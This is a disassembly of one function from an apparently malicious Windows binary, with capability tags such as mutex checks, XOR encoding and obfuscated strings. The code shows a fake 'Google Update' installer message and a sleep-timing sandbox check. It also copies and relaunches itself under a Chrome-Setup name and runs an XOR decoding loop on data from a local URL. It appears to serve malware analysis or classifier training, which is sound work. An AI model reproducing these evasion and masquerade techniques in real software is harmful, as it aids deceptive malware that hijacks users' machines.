Function at 0x14000f148
Capabilities:
Check if file exists
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Create process on windows
Encode data using xor
Get file attributes
Schedule task via at

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x628]
sub rsp, 0x700
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x1400c1ed0]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
xor r13d, r13d
mov edi, r13d
mov dword [rsp + 0x40], r13d
call fcn.140033490
xor edx, edx
mov r8d, 0x80
lea rcx, [rbp + 0x110]
call fcn.140049ef0
lea rcx, [rbp + 0x110]
call fcn.140038ce0
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x110]
call fcn.140039280
nop
xor edx, edx
lea rcx, [rbp + 0x38]
call fcn.140039960
nop
xor edx, edx
lea r8d, [r13 + 0x20]
lea rcx, [rbp + 0x48]
call fcn.140049ef0
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x38]
call fcn.140039d00
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x38]
call fcn.14003a080
nop
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140039a40
mov bl, al
lea rcx, [rbp - 0x30]
call fcn.14000f97c
lea esi, [r13 + 1]
lea r12d, [r13 + 2]
or r15, 0xffffffffffffffff
jmp 0x14000f3e6
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x48]
call fcn.140039aa0
nop
or edi, esi
mov dword [rsp + 0x40], edi
lea rdx, [rsp + 0x70]
mov rcx, qword [rax]
call fcn.140039280
nop
or edi, r12d
mov dword [rsp + 0x40], edi
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 8
cmovae rdx, qword [rbp + 0xa0]
mov rcx, rax
call fcn.14000ff00
test eax, eax
jne 0x14000f2a9
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x48]
call fcn.140039aa0
nop
or edi, 4
mov dword [rsp + 0x40], edi
mov rcx, qword [rax]
call fcn.140039140
mov ebx, eax
lea rcx, [rbp + 0x110]
call fcn.140039140
cmp ebx, eax
mov r14b, sil
jne 0x14000f2ac
mov r14b, r13b
test dil, 4
je 0x14000f2f1
and edi, 0xfffffffb
mov dword [rsp + 0x40], edi
mov rbx, qword [rbp - 0x40]
test rbx, rbx
je 0x14000f2f1
mov eax, r15d
lock xadd dword [rbx + 8], eax
add eax, r15d
jne 0x14000f2ed
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x14000f2ed
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov edi, dword [rsp + 0x40]
test r12b, dil
je 0x14000f320
and edi, 0xfffffffd
mov dword [rsp + 0x40], edi
cmp qword [rbp - 0x78], 8
jb 0x14000f30e
mov rcx, qword [rsp + 0x70]
call fcn.140046814
mov qword [rbp - 0x78], 7
mov qword [rbp - 0x80], r13
mov word [rsp + 0x70], r13w
test sil, dil
je 0x14000f364
and edi, 0xfffffffe
mov dword [rsp + 0x40], edi
mov rbx, qword [rbp - 0x50]
test rbx, rbx
je 0x14000f364
mov eax, r15d
lock xadd dword [rbx + 8], eax
add eax, r15d
jne 0x14000f360
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x14000f360
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov edi, dword [rsp + 0x40]
test r14b, r14b
je 0x14000f3b8
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x48]
call fcn.140039aa0
nop
mov rcx, qword [rax]
call fcn.1400392e0
nop
mov rbx, qword [rbp - 0x60]
test rbx, rbx
je 0x14000f3b8
mov eax, r15d
lock xadd dword [rbx + 8], eax
add eax, r15d
jne 0x14000f3b4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
add eax, r15d
jne 0x14000f3b4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.WS2_32.dll_htonl]
mov edi, dword [rsp + 0x40]
lea rcx, [rbp + 0x48]
call fcn.140039ae0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x38]
call fcn.14003a080
nop
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140039a40
mov bl, al
lea rcx, [rbp - 0x30]
call fcn.14000f97c
test bl, bl
jne 0x14000f22b
lea rcx, [rbp + 0x48]
call fcn.14000f97c
lea rcx, str.4655434b4156
call fcn.140010aa0
mov r8, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rdi, rax
test rax, rax
je 0x14000f433
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000f433
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000f8fe
mov word [rbp + 0x3e0], r13w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x3e2]
call fcn.140049ef0
mov ebx, 0x104
mov r8d, ebx
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
dec eax
cmp eax, 0x103
ja 0x14000f901
movdqa xmm0, xmmword [0x1400a3d50]
movdqu xmmword [rbp + 0x190], xmm0
mov dword [rbp + 0x1a0], 0x6f726843
mov dword [rbp + 0x1a4], 0x532d656d
mov dword [rbp + 0x1a8], 0x70757465
mov byte [rbp + 0x1ac], r13b
lea rcx, [rbp + 0x190]
call fcn.140010aa0
mov r14, rax
movdqa xmm0, xmmword [0x1400a3da0]
movdqu xmmword [rbp + 0x1b0], xmm0
mov byte [rbp + 0x1c0], r13b
lea rcx, [rbp + 0x1b0]
call fcn.140010aa0
mov qword [rsp + 0x20], rax
mov r9, r14
lea r8, str._s_s
mov edx, ebx
lea rcx, [rbp + 0x1d0]
call fcn.140048d04
call qword [0x1400d3658]
mov rbx, rax
lea rcx, str.ntdll.dll
call fcn.140010aa0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x90], 0xfffffffffaa2b580
lea rdx, [rbp + 0x90]
xor ecx, ecx
call rax
call qword [0x1400d3658]
sub rax, rbx
cmp rax, 0x2328
jb 0x14000f8fe
call fcn.1400109c0
test eax, eax
je 0x14000f8fe
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x14000f697
call qword [0x1400d3688]
lea ecx, [rax - 0x804]
test ecx, 0xfffff7ff
je 0x14000f5b4
lea ecx, [rax - 0x404]
test ecx, 0xffffe7ff
jne 0x14000f5ab
cmp eax, 0x1c04
je 0x14000f5ab
lea rdx, [0x1400a1bf0]
jmp 0x14000f5bb
lea rdx, str.Thanks_for_installing._You_must_restart_your_computer_before_using_Google_Chrome__
jmp 0x14000f5bb
lea rdx, [0x1400a1b90]
mov r9d, 0x40
lea r8, str.Google_Update
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000f5e9
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor r8d, r8d
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x3e0]
call qword [0x1400d3678]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, esi
lea edx, [r9 + 4]
lea rcx, [rbp + 0x1d0]
call qword [0x1400d3650]
mov rbx, rax
mov r9d, r12d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [0x1400d36c8]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x98]
mov r8d, esi
lea rdx, [0x1400a36dc]
mov rcx, rbx
call qword [0x1400d3648]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1d0]
call fcn.140010b4c
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x1d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x14000f425
mov dword [rbp + 0xd8], r12d
lea rax, [0x1400a1cf8]
mov qword [rbp + 0xc8], rax
lea rax, str.http:__127.0.0.1:22500_
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
lea r9, [rbp + 0xc8]
lea r8, [0x14000a1e4]
xor edx, edx
xor ecx, ecx
call qword [0x1400d3690]
call fcn.140010534
mov rdx, rax
mov ecx, r13d
test rax, rax
setne cl
test ecx, ecx
jne 0x14000f6fc
mov ecx, 0x80004005
call fcn.140010614
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x40]
call fcn.14000fa24
mov rbx, qword [rbp + 0x40]
mov rdx, rbx
lea rcx, [rbp + 0xe0]
call fcn.14000fea8
nop
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xe0]
call fcn.14000ab00
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000f746
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.1400367c0
nop
cmp qword [rsp + 0x60], 0x10
jb 0x14000f765
mov rcx, qword [rsp + 0x48]
call fcn.140046814
mov qword [rsp + 0x60], setsockopt
mov qword [rsp + 0x58], r13
mov byte [rsp + 0x48], r13b
mov rdx, rsi
cmp rsi, qword [rbp + 0x78]
jae 0x14000f7a9
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rcx, qword [rbp + 0x68]
lea rax, [rbp + 0x68]
cmovae rax, qword [rbp + 0x68]
mov al, byte [rax]
xor byte [rcx + rdx], al
add rdx, rsi
cmp rdx, qword [rbp + 0x78]
jb 0x14000f781
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x68]
call fcn.14000f0c4
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x14000f7c3
mov r14, qword [rax]
test r14, r14
je 0x14000f85a
mov rdi, r15
inc rdi
cmp word [r14 + rdi*2], r13w
jne 0x14000f7cf
test edi, edi
je 0x14000f85a
mov r12d, dword [rbx - 0x10]
mov r15, r14
sub r15, rbx
sar r15, 1
test edi, edi
jns 0x14000f7f9
mov ecx, 0x80070057
call fcn.140010614
int3
sub esi, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, edi
or eax, esi
jge 0x14000f814
mov edx, edi
lea rcx, [rbp + 0x40]
call fcn.14000fcdc
mov rbx, qword [rbp + 0x40]
movsxd rax, edi
movsxd rdx, dword [rbx - 0xc]
mov rcx, rbx
lea rsi, [rax + rax]
add rdx, rdx
mov r9, rsi
cmp r15, r12
ja 0x14000f838
lea r8, [rbx + r15*2]
call fcn.140048d28
jmp 0x14000f840
mov r8, r14
call fcn.140047068
cmp edi, dword [rbx - 0xc]
jg 0x14000f84f
mov dword [rbx - 0x10], edi
mov word [rbx + rsi], r13w
jmp 0x14000f8b1
mov ecx, 0x80070057
call fcn.140010614
int3
lea rdx, [rbx - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], r13d
je 0x14000f8b1
cmp dword [rdx + 0x10], r13d
jge 0x14000f888
cmp dword [rbx - 0xc], r13d
jge 0x14000f87e
mov ecx, 0x80070057
call fcn.140010614
int3
mov dword [rbx - 0x10], r13d
mov word [rbx], r13w
jmp 0x14000f8b1
mov eax, r15d
lock xadd dword [rdx + 0x10], eax
add eax, r15d
test eax, eax
jg 0x14000f8a0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x40], rbx
cmp qword [rbp + 0x28], 8
jb 0x14000f8c1
mov rcx, qword [rbp + 0x10]
call fcn.140046814
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140030670
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000f8d8
mov rax, qword [rax]
mov rdx, rax
call fcn.14000b698
nop
cmp qword [rbp + 8], 0x10
jb 0x14000f8f1
mov rcx, qword [rbp - 0x10]
call fcn.140046814
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f8f1
mov esi, r13d
lea rcx, [rbp + 0x38]
call fcn.140006490
nop
cmp qword [rbp + 0xb8], 8
jb 0x14000f921
mov rcx, qword [rbp + 0xa0]
call fcn.140046814
mov qword [rbp + 0xb8], 7
mov qword [rbp + 0xb0], r13
mov word [rbp + 0xa0], r13w
lea rcx, [rbp + 0x110]
call fcn.140039070
mov eax, esi
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.140046830
lea r11, [rsp + 0x700]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret